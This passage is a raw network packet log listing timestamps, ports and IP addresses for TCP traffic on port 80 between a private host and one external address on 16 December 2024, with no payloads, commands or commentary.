Dec 16, 2024 17:02:27.761740923 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.761754990 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.761766911 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.761775017 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.761806011 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.762559891 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.762574911 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.762587070 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.762599945 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.762610912 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.762629032 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.762649059 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.763304949 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.763329983 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.763344049 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.763354063 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.763364077 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.763382912 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.764039040 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.764054060 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.764066935 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.764081001 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.764084101 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.764102936 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.764127016 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.764740944 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.764755964 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.764770031 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.764786959 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.764810085 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.765563965 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.765578985 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.765593052 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.765608072 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.765619993 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.765630007 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.765657902 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.766489029 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.766505003 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.766518116 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.766535044 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.766546011 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.767256975 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.767271996 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.767286062 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.767306089 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.767330885 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.768013000 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.768027067 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.768040895 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.768054962 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.768055916 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.768083096 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.768105984 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.768755913 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.768773079 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.768786907 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.768801928 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.768810987 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.768834114 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.769464016 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.769506931 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.769510031 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.769521952 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.769545078 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.769556046 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.770229101 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.770273924 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.770282984 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.770298004 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.770312071 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.770327091 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.770342112 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.770358086 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.771054029 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.771080971 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.771095991 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.771115065 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.771130085 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.771137953 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.771821976 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.771866083 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.771866083 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.771886110 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.771910906 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.771931887 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.772675991 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.772691965 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.772705078 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.772718906 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.772721052 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.772737026 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.772746086 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.772768974 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.773473978 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.773490906 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.773504972 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.773519039 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.773530006 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.773555040 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.774246931 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.774261951 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.774276972 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.774310112 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.774310112 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.774322987 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.774988890 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.775015116 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.775028944 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.775037050 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.775073051 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.775095940 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.775886059 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.775902033 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.775914907 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.775929928 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.775959969 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.776815891 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.776842117 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.776854992 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.776859045 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.776909113 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.777709961 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.777751923 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.777762890 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.777766943 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.777781963 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.777791977 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.777803898 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.777823925 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.778369904 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.778386116 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.778398991 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.778418064 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.778428078 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.778446913 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.779090881 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.779107094 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.779120922 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.779136896 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.779145956 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.779165983 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.779947996 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.779963017 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.779975891 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.779989958 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.779994011 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.780003071 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.780019999 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.780045033 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.780713081 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.780729055 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.780741930 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.780761003 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.780774117 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.781526089 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.781553030 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.781565905 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.781578064 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.781596899 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.781605005 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.782277107 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.782291889 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.782305956 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.782321930 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.782322884 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.782330036 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.782356977 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.782941103 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.782957077 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.782969952 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.783009052 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.783010006 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.783020973 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.783797026 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.783812046 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.783826113 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.783838987 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.783858061 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.783875942 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.784542084 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.784555912 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.784568071 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.784581900 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.784591913 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.784610033 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.785387039 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.785412073 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.785424948 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.785429955 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.785449982 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.785461903 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.786309958 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.786324978 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.786338091 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.786350012 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.786354065 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.786369085 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.786380053 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.786392927 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.787266016 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.787308931 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.787333012 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.787348032 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.787373066 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.787388086 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.788114071 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.788129091 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.788142920 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.788156986 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.788160086 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.788175106 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.788326025 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.789083958 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.789099932 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.789113998 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.789150000 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.789150000 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.789150000 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.789753914 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.789769888 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.789813042 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.789813042 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.789813995 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.789830923 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.789855003 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.789874077 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.790615082 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.790641069 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.790656090 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.790657997 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.790678978 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.790690899 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.791496038 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.791512012 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.791533947 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.791534901 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.791543961 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.791552067 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.791587114 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.791587114 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.792165995 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.792181015 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.792195082 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.792212009 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.792236090 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.793003082 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.793019056 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.793032885 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.793049097 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.793071032 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.793776989 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.793792963 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.793807030 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.793819904 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.793823004 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.793838978 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.793859005 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.793868065 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.794751883 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.794768095 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.794781923 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.794801950 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.794815063 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.795355082 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.795387983 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.795403957 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.795407057 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.795433044 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.795440912 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.796010017 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.796036959 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.796058893 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.796063900 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.796078920 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.796103954 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.796952963 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.796968937 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.796983004 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.797013998 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.797048092 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.797610044 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.797626019 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.797641993 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.797657967 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.797667980 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.797667980 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.797688961 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.798469067 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.798484087 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.798497915 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.798511028 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.798542023 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.799113989 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.799129963 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.799145937 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.799160004 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.799184084 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.799900055 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.799916029 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.799931049 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.799940109 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.799947023 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.799959898 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.799973011 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.799992085 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.800595999 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.800611973 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.800626040 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.800633907 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.800647020 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.800668001 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.801234961 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.801274061 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.801285982 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.801300049 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.801336050 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.801384926 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.802243948 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.802261114 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.802274942 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.802289009 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.802293062 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.802311897 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.802347898 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.803206921 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.803221941 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.803236961 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.803247929 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.803260088 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.803280115 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.803615093 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.803639889 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.803654909 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.803657055 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.803677082 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.803693056 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.804333925 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.804374933 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.804379940 CET	80	49712	31.41.244.11	192.168.2.8
